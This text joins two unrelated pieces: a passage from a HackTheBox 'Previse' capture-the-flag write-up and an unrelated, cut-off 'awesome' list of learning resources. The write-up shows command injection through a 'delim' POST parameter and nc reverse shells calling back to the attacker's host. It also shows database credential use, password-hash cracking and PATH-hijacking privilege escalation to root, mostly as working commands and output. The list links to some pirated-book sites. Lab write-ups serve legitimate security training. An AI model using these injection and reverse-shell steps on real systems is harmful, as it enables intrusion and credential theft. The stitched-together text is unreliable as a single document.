(ECDSA)\n|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)\n80/tcp open http Apache httpd 2.4.29 ((Ubuntu))\n| http-cookie-flags: \n| /: \n| PHPSESSID: \n|_ httponly flag not set\n|_http-server-header: Apache/2.4.29 (Ubuntu)\n| http-title: Previse Login\n|_Requested resource was login.php\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 51.99 seconds\n\n```\n\nBy observing port 80 we get the following web page:\n\n![port80.JPG](images/port80.JPG)\n\nBy running ```gobuster``` we found the following web page [http://10.129.158.215/nav.php](http://10.129.158.215/nav.php):\n\n![nav.JPG](images/nav.JPG)\n\nWhere ```Create Accounts``` page URL is [http://10.129.158.215/accounts.php](http://10.129.158.215/accounts.php), Let's try to browse this web page using BurpSuite:\n\n![accounts.JPG](images/accounts.JPG)\n\nLet's observe the following HTML section:\n```html\n...\n
\n
\n

Add New Account

\n

Create new user.

\n

ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!

\n

Usernames and passwords must be between 5 and 32 characters!

\n

\n
\n
\n
\n \n \n
\n
\n
\n
\n \n \n
\n
\n
\n
\n \n \n
\n
\n \n
\n
\n
\n```\n\nWe can make a POST request to this web page to create a new user as follow:\n```HTTP\nPOST /accounts.php HTTP/1.1\nHost: 10.129.158.215\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 52\nOrigin: http://10.129.158.215\nDNT: 1\nConnection: close\nUpgrade-Insecure-Requests: 1\n\nusername=evyatar9&password=evevev&confirm=evevev\n```\n\nSend it:\n\n![usercreated.JPG](images/usercreated.JPG)\n\nGreat, Let's logi n using those credentials, we can see the following web page:\n\n![login.JPG](images/login.JPG)\n\nBy clicking on the ```Files``` button we get the following web page:\n\n![files.JPG](images/files.JPG)\n\nThe file ```SITEBACKUP.ZIP``` contains the following content:\n```console\n┌─[evyatar@parrot]─[/hackthebox/Previse/sitesbackup]\n└──╼ $ ls\naccounts.php download.php files.php header.php login.php logs.php status.php\nconfig.php file_logs.php footer.php index.php logout.php nav.php\n```\n\nBy observing ```config.php``` we found the following credentials that maybe we need later:\n```php\n\n```\n\nBy clicking on ```Managment Data -> Log Data``` we get the following page:\n\n![logs.JPG](images/logs.JPG)\n\nBy clicking on Submit button It's make request to ```/logs.php```, Let's observe the code of ```logs.php```:\n```php\n\n\n\n\n```\n\nWe can see the following line \n\n```php\n$output = exec(\"/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}\");\n```\n\nwe can get RCE by injecting the command on ```delim``` parameter as follow:\n```HTTP\nPOST /logs.php HTTP/1.1\nHost: 10.129.158.215\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 28\nOrigin: http://10.129.158.215\nDNT: 1\nCookie: PHPSESSID=sqnl9fg82cod9iism3aikbv6uk\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n\ndelim=| ping -c1 10.10.16.52\n```\n\nLet's run ```tcmpdump``` to see the ```ping``` request:\n```console\n┌─[evyatar@parrot]─[/hackthebox/Previse/sitesbackup]\n└──╼ $ sudo tcpdump -i tun0 icmp\n[sudo] password for user: \ntcpdump: verbose output suppressed, use -v or -vv for full protocol decode\nlistening on tun0, link-type RAW (Raw IP), capture size 262144 bytes\n01:10:38.874941 IP 10.129.158.215 > 10.10.16.52: ICMP echo request, id 3660, seq 1, length 64\n01:10:38.874993 IP 10.10.16.52 > 10.129.158.215: ICMP echo reply, id 3660, seq 1, length 64\n```\n\nAnd we have RCE, Let's get a reverse shell:\n```HTTP\nPOST /logs.php HTTP/1.1\nHost: 10.129.158.215\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 28\nOrigin: http://10.129.158.215\nDNT: 1\nCookie: PHPSESSID=sqnl9fg82cod9iism3aikbv6uk\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n\ndelim=| nc 10.10.16.52 4444 -e /bin/bash\n```\n\nListen before to port ```4444``` using ```nc``` to get the shell:\n```console\n┌─[evyatar@parrot]─[/hackthebox/Previse/sitesbackup]\n└──╼ $ nc -lvp 4444\nlistening on [any] 4444 ...\n10.129.158.215: inverse host lookup failed: Unknown host\nconnect to [10.10.16.52] from (UNKNOWN) [10.129.158.215] 52588\npython -c 'import pty; pty.spawn(\"/bin/sh\")'\n$ whoami\nwhoami\nwww-data\n```\n\nWe have the database credentials, Let's try to get information from DB:\n```console\n$ export DB_PWD=\"mySQL_p@ssw0rd!:)\"\nexport DB_PWD=\"mySQL_p@ssw0rd!:)\"\n$ mysql -u root -p$DB_PWD -e \"Show databases;\"\nmysql -u root -p$DB_PWD -e \"Show databases;\"\nmysql: [Warning] Using a password on the command line interface can be insecure.\n+--------------------+\n| Database |\n+--------------------+\n| information_schema |\n| mysql |\n| performance_schema |\n| previse |\n| sys |\n+--------------------+\n$ mysql -u root -p$DB_PWD -e \"use previse; show tables;\"\nmysql -u root -p$DB_PWD -e \"use previse; show tables;\"\nmysql: [Warning] Using a password on the command line interface can be insecure.\n+-------------------+\n| Tables_in_previse |\n+-------------------+\n| accounts |\n| files |\n+-------------------+\n$ mysql -u root -p$DB_PWD -e \"use previse; select * from accounts;\"\ncat acc.log.bkp \nid\tusername\tpassword\tcreated_at\n1\tm4lwhere\t$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.\t2021-05-27 18:18:36\n3\tevyatar9\t$1$🧂llol$VW2XgcMA/teTJ31v.Nz44.\t2021-08-09 21:53:04\n```\n\nLet's try to crack ```m4lwhere``` hash using ```john``` with specify format ```md5crypt-long``` (It's take around 4-5 min):\n```console\n┌─[evyatar@parrot]─[/hackthebox/Previse/sitesbackup]\n└──╼ $ john --wordlist=~/Desktop/rockyou.txt --format=md5crypt-long acc.log\nUsing default input encoding: UTF-8\nLoaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])\nWill run 4 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\nilovecody112235! (?)\n1g 0:00:06:02 DONE (2021-08-10 01:56) 0.002760g/s 20463p/s 20463c/s 20463C/s ilovecodyb..ilovecody*\nUse the \"--show\" option to display all of the cracked passwords reliably\nSession completed\n\n```\n\nAnd we get the credentials of ````m4lwhere``` user which is ```ilovecody112235!```, Let's try using them on SSH:\n```console\n┌─[evyatar@parrot]─[/hackthebox/Previse]\n└──╼ $ ssh m4lwhere@10.129.158.215\nm4lwhere@10.129.158.215's password: \nWelcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)\n\n * Documentation: https://help.ubuntu.com\n * Management: https://landscape.canonical.com\n * Support: https://ubuntu.com/advantage\n\n System information as of Mon Aug 9 22:59:01 UTC 2021\n\n System load: 0.0 Processes: 180\n Usage of /: 52.2% of 4.85GB Users logged in: 0\n Memory usage: 32% IP address for eth0: 10.129.158.215\n Swap usage: 0%\n\n\n0 updates can be applied immediately.\n\n\nLast login: Fri Jun 18 01:09:10 2021 from 10.10.10.5\nm4lwhere@previse:~$ cat user.txt\nb65d73de28b3e85d9579f71b103e3850\n```\n\nAnd we get the user flag ```b65d73de28b3e85d9579f71b103e3850```.\n\n### Root\n\nBy running ```sudo -l``` we found:\n```console\nm4lwhere@previse:~$ sudo -l\n[sudo] password for m4lwhere: \nUser m4lwhere may run the following commands on previse:\n (root) /opt/scripts/access_backup.sh\n```\n\nLet's observe this script:\n```bash\n#!/bin/bash\n\n# We always make sure to store logs, we take security SERIOUSLY here\n\n# I know I shouldnt run this as root but I cant figure it out programmatically on my account\n# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time\n\ngzip -c /var/log/apache2/access.log > /var/backups/$(date --date=\"yesterday\" +%Y%b%d)_access.gz\ngzip -c /var/www/file_access.log > /var/backups/$(date --date=\"yesterday\" +%Y%b%d)_file_access.gz\n```\n\nWe can change the ```PATH```, So le'ts create our ```date``` command as follow:\n```console\nm4lwhere@previse:/tmp$ cat date\n/bin/nc 10.10.16.52 1111 -e /bin/bash\nm4lwhere@previse:/tmp$ chmod 777 date\n```\n\nChange the ```PATH``` to contain only ```/tmp``` folder to look only on our ```date``` command as follow:\n```console\nm4lwhere@previse:/tmp$ export PATH=/t\n```\n\nCreate ```nc``` listner:\n```console\n┌─[evyatar@parrot]─[/hackthebox/Previse]\n└──╼ $ nc -lvp 1111\nlistening on [any] 1111 ...\n\n```\n\nAnd run the ```backup.sh``` script as follow:\n```console\nm4lwhere@previse:/tmp$ /usr/bin/sudo /opt/scripts/access_backup.sh\n```\n\nAnd we get root shell:\n```console\n┌─[evyatar@parrot]─[/hackthebox/Previse]\n└──╼ $ nc -lvp 1111\nlistening on [any] 1111 ...\n10.129.158.215: inverse host lookup failed: Unknown host\nconnect to [10.10.16.52] from (UNKNOWN) [10.129.158.215] 60052\nexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\nwhoami\nroot\ncat /root/root.txt\na2fd1369de4c5b52fe9b68612d47ddd8\n```\n\nAnd we get the root flag ```a2fd1369de4c5b52fe9b68612d47ddd8```.\n"}}},{"rowIdx":259,"cells":{"text":{"kind":"string","value":"# Awesome Open Minds Team [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome)\nA collection of awesome useful and awesome links, resources and shiny things for our friends :smiley: .\n* [Awesome Open Minds Team](https://github.com/open-minds/awesome-openminds-team#Awesome-Open-Minds-Team)\n * [MOOC Websites](#mooc-websites)\n * [Freebies for students](#freebies-for-students)\n * [Opportunities and international exchange programs](#opportunities-and-international-exchange-programs)\n * [Chosen Websites](#chosen-websites)\n * [Studies](#studies)\n * [Learn to code](#learn-to-code)\n * [Learn Data Science](#learn-data-science)\n * [Open Hardware](#open-hardware)\n * [Design](#design)\n * [eBooks](#ebooks)\n * [Geeky websites](#geeky-websites)\n * [Challenges](#challenges)\n * [CTF (Capture The Flag- Security Challenges)](#ctfcapture-the-flag--security-challenges)\n * [Information Security (CTF & Hacking Platforms)](#information-security-ctf--hacking-platforms)\n * [Good YouTube channels to follow](#good-youtube-channels)\n * [Good Social media pages and groups](#good-social-media-pages-and-groups)\n * [Tools and Apps](#tools-and-apps)\n * [IDEs](#ides)\n * [Text editors](#text-editors)\n * [Design software](#design-software)\n * [Game Development Software](#game-development-software)\n * [Mobile Apps](#mobile-apps)\n * [Collaboration tools](#collaboration-tools)\n * [Podcasts](#podcasts)\n * [Learn Languages](#Learn-Languages)\n\n----\n\n## MOOC websites\n*Platforms for learning awesome stuffs online*\n* English\n * [Udacity](http://udacity.com/)\n * [Free Code Camp](http://freecodecamp.com/)\n * [CodeCademy](http://codecademy.com/)\n * [Udemy](https://www.udemy.com/)\n * [Coursera](http://coursera.org/)\n * [Alison](http://alison.com/)\n * [Edx](http://edx.org/)\n * [CodeSchool](http://codeschool.com/)\n * [Pluralsight](https://www.pluralsight.com/)\n * [Lynda](https://www.lynda.com/)\n * [Sololearn](https://www.sololearn.com/)\n * [Khan Academy](https://www.khanacademy.org/computing)\n * [Skillshare](https://www.skillshare.com/)\n * [Shaw Academy](https://www.shawacademy.com/)\n * [FrontendMasters](https://frontendmasters.com/)\n * [A Cloud Guru](https://acloudguru.com/)\n * [BitDegree](https://www.bitdegree.org/)\n * [Thinkster](https://thinkster.io/)\n * [The Coding Train](https://thecodingtrain.com/)\n\n\n* Arabic\n * [Nadrus](http://nadrus.com/)\n * [Coursat](http://www.coursat.org/)\n * [Edraak](https://www.edraak.org/)\n * [Rwaq](https://www.rwaq.org/)\n * [code4learn](https://code4learn.teachable.com/)\n * [Barmej](https://www.barmej.com/)\n\n* French\n * [Openclassrooms](http://openclassrooms.com/)\n * [FUN](https://www.fun-mooc.fr/)\n\n* Portuguese\n * [Alura](http://alura.com.br)\n * [Curso Em Video](https://www.cursoemvideo.com/)\n * [Estudonauta](https://www.estudonauta.com/)\n\n* Indonesia\n * [Codepolitan](https://www.codepolitan.com/) - Website Belajar Coding Bahasa Indonesia\n * [Sekolah Koding](https://sekolahkoding.com/) - Belajar Programming, Mulai dari Nol\n * [Baledemy](https://baledemy.com/) - Belajar Online Website, Desain Grafis Dan Digital Marketing\n * [Belajarpython](https://belajarpython.com/) - Situs Open Source Tutorial Pemrograman Python Bahasa Indonesia\n * [BuildWithAnnga](https://buildwithangga.com/) - Pelajari keahlian baru yang dibutuhkan Startup/perusahaan IT terbesar di dunia\n\n## Freebies for students\n*Because we love you*\n* [Github Student pack](https://education.github.com/)\n* [JetBrains free students pack (All IDEs for free)](https://www.jetbrains.com/shop/eform/students)\n* [Atomic.io (free for students)](https://atomic.io/education/)\n* [indico](https://indico.io/non-commercial) API for text and image analysis.\n* [Free Astah Professional license for students](http://astah.net/student-license-request) Software Design Tools for Agile teams with UML, ER Diagram, Flowchart, Mindmap and More\n* [Microsoft Dev Essentials (Free Subscriptions to cloud services, tools and Learning platforms like PluralSight, DataCamp and WintellectNow)](https://visualstudio.microsoft.com/fr/dev-essentials/)\n* [Gitpod](https://www.gitpod.io/pricing/) Students get the Unlimited plan for €8 per month.\n* [Figma](https://www.figma.com/education/) Figma is a design and prototyping app. Students get a special education plan for free.\n* [Notion](https://www.notion.so/students) Notion is a workspace for your tasks, notes and more. It is free for all students.\n* [Free for dev](https://free-for.dev/) This is a list of software (SaaS, PaaS, IaaS, etc.) and other offerings that have free tiers for developers.\n* [Tableau for Students](https://www.tableau.com/academic/students) Get a free license to Tableau's data visualization software!\n* [Shodan Membership](https://help.shodan.io/the-basics/account-faq) Get a free membership + Educational API plan for the [Shodan](https://www.shodan.io/) search engine\n* [CloudApp](https://www.getcloudapp.com/education) Cloud App is an instant cloud based GIF, screenshots, and video sharing product for collaboration. Students get a free pro account.\n\n\n## Opportunities and international exchange programs\n* [Aiesec](https://aiesec.org/) Find international internships, volunteering opportunities.\n* [For9a - فرصة](https://www.for9a.com/) Find your passion, learn new skills, and find free opportunities at home and abroad.\n* [Marj3](https://www.marj3.com/) MENA #1 Platform for Scholarships, Opportunities and Universities enrollment around the world.\n\n\n## Chosen Websites\n\n### Studies\n* [Free computer sciences lecture courses](http://learnerstv.com/Free-Computer-Science-video-lecture-courses.htm)\n* [Path to self-taught education in computer science](https://github.com/open-source-society/computer-science)\n* [Google: Guide to technical development ](https://www.google.com/about/careers/students/guide-to-technical-development.html)\n* [MiftaSintaha's YouTube channel](https://www.youtube.com/channel/UC6-g6xhqyX14ENhZBC2fznw) : Computer sciences video tutorials\n* [Cours, TDs, TPs, Examens de l'Université d'Oran 1](https://sites.google.com/site/weshare4student/home): par Khadidja BOUKREDIMI\n* [Exo7 Math](http://exo7.emath.fr/) Des cours, des exercices et des vidéos de mathématiques\n* [Saïd Chermak](https://www.youtube.com/user/infomaths) Cours de mathématiques, probabilitéss ...\n* [CS Video Courses](https://github.com/Developer-Y/cs-video-courses) List of Computer Science courses with video lectures\n* [Awesome CS courses](https://github.com/prakhar1989/awesome-courses)\n* [Math, sciences, physics video courses](https://github.com/Developer-Y/math-science-video-lectures)\n* [Mathrix Videoa](https://www.youtube.com/channel/UCdH4RLzP9UIxV299clvj1rg/featured) Des cours et exercices vidéos corrigés pour réviser ton programme de collège et brevet ou lycée et bac.\n* [Ency education](http://www.univ.ency-education.com/)\nvous trouverez sur cette plateform des cours et examens qui vous accompagnerons tout au long de votre cursus (Math ou Informatique )\n* [Université en ligne](http://uel.unisciel.fr/) Coherent selection of resources & Multimedia for students.\n\n### Learn to code\n* [Johny Lists: 22 Websites to Teach You How to Code](https://johnnylists.com/post/125433243333/22-websites-to-teach-you-how-to-code)\n* [Tutorialspoint](www.tutorialspoint.com/)\n* [Enlight](https://enlight.nyc/) learn to by building projects\n* [The Odin Project](http://www.theodinproject.com/)\n* [Superhero.js](http://superherojs.com/)\n* [DevDocs](http://devdocs.io/) multiple API documentations\n* [PyVideo](http://pyvideo.org/) Collection of python videos\n* [Nodeschool](https://nodeschool.io/#workshoppers) Learn Node from the command line\n* [Video2brain](https://www.video2brain.com/) Courses online, focus on programming, animation, design, marketing and enterprise software\n* [Platzi](https://platzi.com/) Learn technology with live classes and real-time interaction\n* [Gitignore.io](https://www.gitignore.io) Create Useful .gitignore Files For Your Projects\n* [Exercism](http://exercism.io/) Code practice and mentorship for everyone\n* [w3schools](https://www.w3schools.com/) W3Schools is optimized for learning, testing, and training.\n* [GFG:Geek For Geeks](https://www.geeksforgeeks.org/): one platform to learn DSA, programming languages, preparing for gate and for all cs students\n* [Code Monk](https://www.hackerearth.com/practice/codemonk/): Codemonk is a curated list of topics to help you improve your skills in the fundamental concepts of programming\n* [JetBrains Academy](https://hyperskill.org/): Coding challenges and projects\n* [Codeasy.net](https://codeasy.net/): story based learning of C# that requires programming skills to navigate your work through.\n* [ELIS e-learning portal](https://free.aicte-india.org/ms-products.php): Over 1526 **free** course modules from Microsoft in collaboration with AICTE.\n* [FreeCodeCamp](https://www.freecodecamp.org/learn/): platform to learn Web Design, DSA, ML, etc.\n* [Full Stack Open 2020](https://fullstackopen.com/en/): Modern Web Development (Learn React, Redux, Node.js, MongoDB, GraphQL and TypeScript)\n\n### Learn Data Science\n* [Data Camp](https://www.datacamp.com/): The first and foremost leader in Data Science Education.\n* [Data Science : R Basics](https://courses.edx.org/courses/course-v1:HarvardX+PH125.1x+2T2019): Course about R basics presented by Harvard University\n* [Kaggle: Intro to Machine Learning](https://www.kaggle.com/learn/intro-to-machine-learning): Learn the core ideas in machine learning, and build your first models.\n* [Data quest](https://https://www.dataquest.io/): From intro do advanced data science and analytics content in short lessons.\n* [Neural Networks from Scratch](https://www.youtube.com/playlist?list=PLQVvvaa0QuDcjD5BAw2DxE6OF2tius3V3): A youtube playlist to learn neural networks from scratch using python\n\n### Open Hardware\n* [Autodesk Circuits](https://circuits.io/) A web-based Arduino simulator\n* [S4A](http://s4a.cat/) Based on Scratch, learn, teach your kids Arduino\n\n### Design\n* English\n * [Mir Rom](https://www.youtube.com/channel/UCEoyp41c5FU0JoImJy8rPzw): Photoshop\n * [Nick Saporito](https://www.youtube.com/channel/UCEQXp_fcqwPcqrzNtWJ1w9w): Inkscape\n * [Mobbin](https://mobbin.design/patterns): Inspiration\n * [Coolors](https://coolors.co/): Color palette generator for web design\n * [color Hunt](https://colorhunt.co/): color palette available which are used by many web designers.\n\n* Arabic\n * [Mostafa Makram](https://www.youtube.com/channel/UCRuf3R3TBHYcnnYIPvuwQmQ): Photoshop\n\n* Indonesia\n * [Build With Angga](https://buildwithangga.com/): Coding (UI/UX), Design\n\n### eBooks\n* [Free programming books](https://github.com/EbookFoundation/free-programming-books) Freely available programming books\n* [it-ebooks](http://it-ebooks.info/)\n* [LibreBooks](http://librebooks.org/)\n* [ebook-dl](http://ebook-dl.com/)\n* [Library Genesis](http://gen.lib.rus.ec/)\n* [Free Book Spot](http://www.freebookspot.es/)\n* [Free Computer Books](http://freecomputerbooks.com/)\n* [FreeTechBooks](http://www.freetechbooks.com/)\n* [JSbooks](https://jsbooks.revolunet.com/)\n* [OnlineProgrammingBooks](http://www.onlineprogrammingbooks.com/)\n* [E-Books Directory](http://www.e-booksdirectory.com/)\n* [Free eBooks](http://books-pdf.blogspot.com/)\n* [All IT eBooks](http://www.allitebooks.com/)\n* [B-OK](http://b-ok.org/)\n* [forcoder.org](http://forcoder.org/) IT ebooks and e-Learning videos for download\n* [Packtpub](https://www.packtpub.com/) Free ebook available daily\n\n#### Programming eBooks\n* [JAVA FR](https://drive.google.com/open?id=0B1IcqtFWVMxMRXhEOWs3b1NSd3c)\n* [C FR](https://drive.google.com/open?id=0B1IcqtFWVMxMOGMxdjZQc0lxajQ)\n* [Python FR](https://drive.google.com/file/d/1MCRitlnWT6TpqVdUVyHfqDF3YhPXo8Kr/view)\n* [A Brief Introduction to Machine Learning for Engineers](https://arxiv.org/pdf/1709.02840.pdf)\n* [Computational Thinking](https://www.cs.cmu.edu/~15110-s13/Wing06-ct.pdf)\n\n### Geeky websites\n* [Scotch.io](https://scotch.io)\n* [EggHead](https://egghead.io)\n* [SitePoint](https://www.sitepoint.com/)\n* [FreeCodeCamp News](https://www.freecodecamp.org/news/)\n* [CSS Reference](http://cssreference.io/) a free visual guide to CSS\n* [uxdesign.cc](https://uxdesign.cc/) User Experience, Usability, Product Design\n* [OverAPI.com](http://overapi.com/) Collecting All Cheat Sheets\n* [The list for web designers](https://www.designerslist.info/) A complete toolkit for web designers, wireframes, tutorials, blogs, tools, stock photos, fonts, color schemes, icons...\n* [Dev community](https://dev.to/) A constructive and inclusive social network for developers. Open source and radically transparent. \n\n#### Challenges\n * [Leet Code](https://leetcode.com/problemset/algorithms/): A website with more than 1500 programming questions. Organizes weekly and biweekly contests throughout the year.\n * [Hacker Rank](https://www.hackerrank.com/) : a platform for beginners to pros with tutorials and editorials . best for getting started with programming.\n * [GUVI](https://www.guvi.in/)\n * [Hacker Earth](https://www.hackerearth.com/)\n * [Project Euler](https://projecteuler.net/archives)\n * [Code Wars](https://www.codewars.com/)\n * [Rosalind](http://rosalind.info/problems/list-view/): A platform for learning bioinformatics through problem solving.\n * [CoderByte](https://coderbyte.com/): An alternative for HackerRank. Also, it is the #1 website for technical interview prep.\n * [Codechef](https://www.codechef.com/): Hosts monthly competitve programming competitions, and has a vast variety of practice problems.\n * [CodeSignal](https://app.codesignal.com/): A competitive platform for programmers\n * [codeforces](https://www.codeforces.com/): best for competitive programming\n * [codingame](https://www.codingame.com/): Coding game and programming challenges to code better\n * [Timus Online Judge](http://acm.timus.ru/): An online archive for programming problems and automatic judging system.\n * [InterviewBit](https://www.interviewbit.com/): Similar to LeetCode and HackerRank with lots of free questions and contests.\n * [SPOJ](https://www.spoj.com/): Sphere Online Judge (SPOJ) is an online judge system with over 640,000 registered users and over 20,000 problems.\n * [Rosetta Code](http://www.rosettacode.org/wiki/Rosetta_Code): The idea is to present solutions to the same task in as many different languages as possible, to demonstrate how languages are similar and different, and to aid a person with a grounding in one approach to a problem in learning another.\n * [Edabit](http://www.edabit.com): Learn to code with fun, bite-sized challenges. It's like Duolingo for learning to code.\n\n\n#### CTF (Capture The Flag - Security Challenges)\n * [Root Me](https://www.root-me.org/): a platform for everyone to test and improve knowledge in computer security and hacking.\n * [HACKER101](https://ctf.hacker101.com/): a free class for web security.\n * [picoCTF](https://picoctf.org/): a free computer security game for middle and high school students.\n * [Echo CTF](https://echoctf.com/): is a pioneer computer security framework, a Cyber Range developed by Echothrust Solutions for running security related competitions (CTFs) and trainings on real IT infrastructure.\n * [Over The Wire](https://overthewire.org/wargames/): offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games.\n * [CTFtime](https://ctftime.org/): Capture The Flag, CTF teams, CTF ratings, CTF archive, CTF writeups.\n\n#### Information Security (CTF & Hacking Platforms)\n * [HackTheBox](https://www.hackthebox.eu/): An online platform to test and advance your skills in penetration testing and cyber security. Join today and start training in our online labs.\n * [VulnHub](https://www.vulnhub.com/): provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks.\n * [Awesome Curated List of Environments and Platforms for Hacking and CTFs!](https://mrtaharamine.blogspot.com/2018/02/hacking-environments-and-platforms.html)\n * [TryHackMe](https://tryhackme.com/) :: A wonderful learning platform for Cyber Security ethusiasts with dedicated Virtual Machines and fun challenges.\n\n\n\n#### Français\n* [Le Hollandais Volant](http://lehollandaisvolant.net/) Astuces et tutoriels informatique\n\n### Good YouTube channels\n* Arabic\n * [ElZero WebSchool](https://www.youtube.com/user/OsamaElzero) : Web design tutorials\n * [TheNewBaghdad](https://www.youtube.com/user/alxs1aa) : Programming & Software engineering tutorials\n * [Abdullah Eid](https://www.youtube.com/user/abdullaheidtv) : Programming tutorials (One of the best JAVA tutorials)\n * [Muhammed Essa](https://www.youtube.com/user/muhammedgalaxy) : Programming & Networking tutorials\n * [Free4Arab](https://www.youtube.com/user/Nourelhoda2011) : IT courses (CISCO, CEH, Compatia, RHCE...)\n * [EgyCoder](https://www.youtube.com/channel/UCmrvsMQhv5G7pWSDnLRwoJg)\n * [Arab GNU/Linux](https://www.youtube.com/user/abdulmogeeb)\n * [Mjma3](https://www.youtube.com/user/Mjma3Academy/playlists)\n * [Ali Hamdi](https://www.youtube.com/channel/UChiajEj7cSVoY0k2FDlM2zA) Web developement & web design tutorials\n * [Hassouna academy](https://www.youtube.com/user/HassounaAcademy/playlists): Everything related to computer and its sciences, web design and software\n * [Programming with Mosh](https://www.youtube.com/user/programmingwithmosh) programming tutorials\n * [MIT CSE Lectures](https://www.youtube.com/c/mitocw/playlists?view=50&sort=dd&shelf_id=5) Cours complets d'informatique du MIT.\n\n* English\n * [Derek Banas](https://www.youtube.com/user/derekbanas)\n * [The new Boston](https://www.youtube.com/user/thenewboston)\n * [DevTips](https://www.youtube.com/user/DevTipsForDesigners)\n * [Adam Khoury](https://www.youtube.com/channel/UCpzRDg0orQBZFBPzeXm1yNg)\n * [CodeGeek](https://www.youtube.com/channel/UCJYhP1lceSUc1bg0LRBUvqA)\n * [CS Dojo](https://www.youtube.com/channel/UCxX9wt5FWQUAAz4UrysqK9A): Set of quality videos about programming and computer science here\n * [Hak5](https://www.youtube.com/user/Hak5Darren): Hak5 has been developing innovative penetration testing devices, award winning online media, and immersive information security training since 2005.\n * [BracKeys](https://www.youtube.com/user/Brackeys) a must have for Unity3D users\n * [Sentdex](https://www.youtube.com/user/sentdex) Python tutorials from basics to NLP, Computer vision and Machine learning\n * [freeCodeCamp](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ) Technical courses with no ads\n * [Extra Credits](https://www.youtube.com/user/ExtraCreditz) everything related to games development\n * [Traversy Media](https://www.youtube.com/user/TechGuyWeb) Tutorials related to Web Development\n * [The Cherno](https://www.youtube.com/user/TheChernoProject) Great C++ series as well as Game Development\n * [Errichto](https://www.youtube.com/channel/UCBr_Fu6q9iHYQCh13jmpbrg) Algorithms, competitive programming, coding interviews taught by finalist of multiple big programming competitions like ICPC, Facebook Hacker Cup and Google Code Jam\n * [Open Source Developer Advocate](https://www.youtube.com/c/eddiejaoude/), BELIEVES OPEN SOURCE IS FOR EVERYONE! YES YOU!\n * [Techie-Workshops](https://www.youtube.com/c/PraveenKumarPurush/), Techie-Workshops by Praveen Kumar\n * [LetsUpgrade](https://www.youtube.com/c/LetsUpgrade/), A Technology Community for Career Acceleration\n * [Fun Fun Function](https://www.youtube.com/c/funfunfunction) A fun, personal and down-to-earth show about programming\n * [Code with harry (Hindi)](https://www.youtube.com/c/CodeWithHarry), Tutorials for python, java, javascript. Helps beginners in making their projects with easiness. Every solution is provided and contains every field of computer science.\n * [NetNinja](https://www.youtube.com/channel/UCW5YeuERMmlnqo4oq8vwUpg): Tuturials for learning HTML, Git & more\n * [Tech With Tim](https://www.youtube.com/channel/UC4JX40jDee_tINbkjycV4Sg) Awesome Tutorials for Python, AI for games and Machine Learning basic\n * [OnlineTutorials](https://www.youtube.com/channel/UCbwXnUipZsLfUckBPsC7Jog): Tutorials for Front-end, creative Front-End tutorials using HTML/CSS/JS.\n * [Adam Wathan](https://www.youtube.com/c/AdamWathan): He is creator of Utility-based CSS Framework Tailwind CSS and uploads videos regarding the designing of sites with TailWind CSS.\n * [Program with Erik](https://www.youtube.com/channel/UCshZ3rdoCLjDYuTR_RBubzw):He mostly uploads videos on Vue and does collaboration with other creators too.\n * [this.stephie](https://www.youtube.com/channel/UCr8BLoBSZtmVr31UEfCiQfA):A wonderful female content creator, especially posts about Vue.js\n * [Web Dev Simplified](https://www.youtube.com/channel/UCFbNIlppjAuEX4znoulh0Cw): Web Dev Simplified is all about teaching web development skills and techniques in an efficient and practical manner.\n * [Academind](https://www.youtube.com/c/Academind): Academind is a programming-oriented channel maintained by Maximilian Schwarzmüller and Manuel Lorenz.\n\n* Français\n * [Grafikart.fr](https://www.youtube.com/user/grafikarttv)\n * [LES TEACHERS DU NET](https://www.youtube.com/user/hounwanou1993)\n * [Développement Facile](https://www.youtube.com/user/developpementfacile/videos)\n\n* Portuguese\n * [Loiane Groner](https://www.youtube.com/user/Loianeg)\n * [Curso em Vídeo](https://www.youtube.com/user/cursosemvideo)\n * [Código Fonte TV](https://www.youtube.com/user/codigofontetv)\n * [Rocketseat](https://www.youtube.com/channel/UCSfwM5u0Kce6Cce8_S72olg)\n * [Filipe Deschamps](https://www.youtube.com/channel/UCU5JicSrEM5A63jkJ2QvGYw)\n * [Fabio Akita](https://www.youtube.com/user/AkitaOnRails)\n * [Diolinux](https://www.youtube.com/channel/UCEf5U1dB5a2e2S-XUlnhxSA)\n * [Codeshow](https://www.youtube.com/user/brunovegan)\n * [Gabriel Pato](https://www.youtube.com/channel/UC70YG2WHVxlOJRng4v-CIFQ)\n * [Linux 